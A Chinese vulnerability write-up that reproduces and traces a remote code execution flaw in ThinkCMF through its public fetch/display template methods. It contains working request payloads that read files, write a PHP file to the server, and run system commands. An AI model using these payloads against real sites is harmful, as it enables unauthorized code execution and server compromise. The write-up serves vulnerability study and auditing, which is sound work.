Thinkcmf任意漏洞包含漏洞分析復現

簡介

ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理框架,底層採用ThinkPHP3.2.3構建。ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者能夠根據自身的需求以應用的形式進行擴展。每一個應用都能獨立的完成本身的任務,也可經過系統調用其餘應用進行協同工做。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工做的,但他們之間又可經過系統自己進行協調,大大的下降了開發成本和溝通成本。php

影響版本

ThinkCMF X1.6.0git

ThinkCMF X2.1.0sql

ThinkCMF X2.2.0瀏覽器

ThinkCMF X2.2.1架構

ThinkCMF X2.2.2mvc

ThinkCMF X2.2.3app

復現環境

我這裏下載的2.2.0版本,下載地址爲:thinkcmfx2.2.0框架

安裝過程就略過了phpstorm

漏洞復現

0×01

payload: http://localhost/thinkcmfx220/?a=display&templateFile=README.mdide

0×02

 

payload:?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','<?php phpinfo(); ?>')

 

上述請求發送後,會在thinkcmfx根目錄生成test.php,咱們訪問一下:

0×03

 

payload:?a=fetch&content=<?php system('ping xxxxxx');?>

 

這種方式其實利用和pyload2同樣,只不過是直接執行系統命令,咱們能夠用dnslog的方式檢驗結果,以下

說明命令成功執行

漏洞分析

漏洞分析我可能不會把每行代碼的意思講清楚,可是我會分享一些我在分析這個漏洞時使用的一些小方法

審計mvc架構的應用,第一步就是找到入口,而後順着入口文件,跟着程序邏輯讀下去,直到了解程序大致運做流程,知道基本路由規則(mvc架構的審計工做主要是集中在控制器)。前面的審計開始的前置工做我就不細說了,並且在分析一個漏洞的時候這些前置工做也不必定是必須的,若是你在知道一些信息的狀況下,例如,你根據漏洞披露的一些信息已經知道哪一個文件有問題了,就不須要再去研究路由了,我此次的分析就是在已知一些條件的狀況下進行的,因此我就沒有仔細去讀路由規則,因此,你也能夠看到我後面的分析不少都採用的是猜想以及全局搜索這種方式來肯定利用點,固然我後面也大概看了下路由,大概跟到App::exec()方法裏,就能夠看到路由規則了,以下:

前面說了那麼多廢話…..首先咱們看下入口文件index.php肯定應用目錄

咱們到應用目錄application裏的controller看一下,根據路由或已知信息能夠肯定index.php的請求會被路由到indexcontroller.class.php的index()方法

這個方法也沒啥,就是調用了個display顯示了首頁的內容。這些都不是問題的關鍵,關鍵的是thinkcmf是給予tinkphp再開發的,他有一些tp的特性,例如能夠經過g\m\a參數指定分組\控制器\方法,這裏能夠經過a參數直接調用Portal\IndexController父類(HomebaseController)中的一些權限爲public的方法。咱們本身本身在HomebaseController類中建立一個public屬性的方法

public function test1(){ echo 'hello axin'; die(); }

而後訪問http://localhost/thinkcmfx220/index.php?a=test1,結果以下

說明確實是能夠訪問到public屬性的函數的,這次漏洞主要是利用HomebaseController的display以及fetch方法,由於pyaload已經公開,那麼咱們就拿payload3:?a=fetch&content=<?php system(‘ping xxxxxx’);?>進行分析,看一下fetch方法,以下:

payload中只是傳了一個content參數,那麼此時的$templateFile值爲空,$content值爲php代碼,繼續跟進父類的fetch方法,這裏的父類跟蹤直接跟到了Controller.class.php中

可見這裏執行$this->view->fetch,咱們繼續跟進,這裏的view就是View.class.php中的類的實例

咱們主要關注的點是content變量,上面的代碼有兩個if…else語句,第一個很簡單content不爲空,因此執行else分支,第二個咱們不能一眼判斷出來,可是這裏咱們爲了效率也就不去深究代碼細節,咱們只須要知道後面這個if….else語句究竟是進入了哪一個分支,因此,咱們採用打印變量的方式,相似下面這樣

if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板 echo 33333333; $_content = $content; // 模板陣列變量分解成爲獨立變量 extract($this->tVar, EXTR_OVERWRITE); // 直接載入PHP模板 empty($_content)?include $templateFile:eval('?>'.$_content); }else{ echo 444444444; // 視圖解析標籤 $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse',$params); }

這樣當咱們訪問頁面的時候,若是頁面出現33333333,則表示進入了第一個分支,不然進入了第二個分支,可是若是跟着個人思路復現了的朋友可能會發現頁面沒有任何回顯,這是由於這段代碼先後分別調用了ob_start()與ob_get_clean()

這兩個函數的配合會把咱們的輸出所有賦值給了$content變量,並不會直接輸出到瀏覽器。因此,咱們在分析的時候能夠先註釋掉這幾句代碼。而後根據頁面輸出咱們就能夠肯定此處進入了else分支,分支裏主要是執行了Hook::listen()函數,這個函數是tp裏常常見的,之前我也不知道是幹嗎的,此次我專門查了一下資料,這個Hook::listen函數就至關因而調用了一個提早註冊好的類中的函數,函數默認是run函數,那麼具體調用的是哪一個類的run函數呢,這個就取決於傳入的參數了,第一個參數是一個tag,這個tag是與一個類提早綁定的,第二個參數就是要傳入run函數的參數啦。那麼這個tag又是在哪裏綁定到哪一個類的呢?具體在哪一個文件定義了映射我也不太清楚,因此,我直接採用全局搜索(phpstorm快捷鍵ctrl+shift+f)view_parse這個tag的方式,來尋找view_parse到底表明哪一個類

能夠看到整個項目中出現view_parse的文件很少,最後咱們肯定到common.php,並在其中找到了view_parse對應的類就是Behavior\ParseTemplateBehavior

既然都找到類了,那麼就跟進去看一下啦,跟進發現裏面確實有一個run函數,肯定是他沒錯了

tips:這裏跟蹤文件也有個技巧,有時候在定位某個類位於哪一個文件時,咱們也能夠採用全局搜索的方式,或者直接用類名搜索文件名(phpstorm快捷鍵,快速按兩次shift)

又有if分支,爲了效率咱們一樣能夠用剛剛說的方法,判斷到底進入了哪一個分支,能夠注意到我在上面打了不少斷點,這個斷點是爲了標示出哪些行是我本身添加的,或者標示一些重要的邏輯處,方便我後面審計結束刪除本身添加的代碼,也能夠防止中途離開再回來看代碼遺忘重點這種狀況的發生,總之算是一個小技巧吧。

我這裏用個人打印調試法定位到,代碼會運行到Storage::load()這裏,咱們跟進,在這裏咱們使用phpstorm直接go to這種方式發現phpstorm定位不到load函數的定義處,那麼咱們只有先定位Storage類,Storage類以下

發現Storage類裏面根本就沒有load方法,並且他也沒有繼承任何父類,那麼load方法到底藏在哪裏呢?這裏就涉及到__callstatic這個模式方法啦,這個方法會在調用該類不存在的靜態方法或變量時觸發,因此,load方式是經過call_user_func_array函數調用的,那到底調用的哪裏的load方法呀,這裏有兩種方式肯定,一是老老實實看代碼,搞清楚self::handler到底值爲多少,第二種就是我採用的全局搜索的方法,我不想一行行看代碼,直接全局搜索load(

出來的結果挺多的,可是咱們根據以前調用時的參數,能夠大致肯定是上圖中的其中一個,最後再結合本身的判斷力或者都試一下肯定是File.class.php(其實這裏我是猜的23333,文件名更貼切嘛)中的load函數,跟進

結果發現,就只是引入了一個文件,我這就急眼了呀,我想這麼就引入一個文件就完了呢,那我傳入的content何時寫入到這個文件的呀,我以爲我確定是遺漏了什麼東西,因而開始順着這個文件找線索,看看到底哪裏把傳入的content寫入了這個文件,仍是用咱們的打印調試法肯定這個文件的路徑在

/data/runtime/Cache/Portal/

而後文件名的命名規則能夠從傳給Storage::load函數的參數裏肯定

Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);

我採用了幾種方法來定位到底哪裏把content寫入了文件,第一種方式就是全局搜索C(‘CACHE_PATH’).$_data['prefix'].md5($_content).C(‘TMPL_CACHFILE_SUFFIX’)

由於這是文件的命名規則,寫入的時候確定也是這個規則,可是結果失敗了,只出現一條結果就是load這裏,而後我就在想剛剛File.class.php裏面有load函數,那麼應該也有寫入函數(set,write之類的),結果一看果真有!

那我不得全局搜索一波嘛,在我搜索put的時候有所發現,再根據/data/runtime/Cache/Portal/目錄下生成的cache文件的文件名、文件內容、調用put函數時傳入的實參命名、實參個數以及調用put函數的文件名等多個數據參考,以及失措事後,以爲Template.class.php文件這一處put函數的調用極有可能就是了,這裏的loadTemplate函數裏有調用put函數的操做,反推,loadTemplate函數又在fetch函數裏被調用了,而後我覺得我以前跟代碼的時候跟錯了fetch,23333,回到ParseTemplateBehavior.class.php去確認

回到ParseTemplateBehavior.class.php中才發現這個被我忽視的else分支,這裏不就調用了template的fetch方法嗎,因而喜上眉梢,那麼何時會進入else分支呢

這裏我作了一個合_Mask理的猜想,就是傳入的參數是以前沒有傳過的,那麼就會進入else,不然進入if,而後我在else分支添加了一行echo 444444;而後請求?a=fetch&content=phpinfo(這個請求是以前沒有發送過的)

果真頁面打印處444444,說明進入了else分支,那麼content的流向就很清晰了:

先是順着上面的路徑寫入cache文件,最後調用Storage::load加載cache文件,最終致使代碼執行。

啊~這一處的payload就先寫到這吧,很久沒寫文章了,累死了~

相關文章
相關標籤/搜索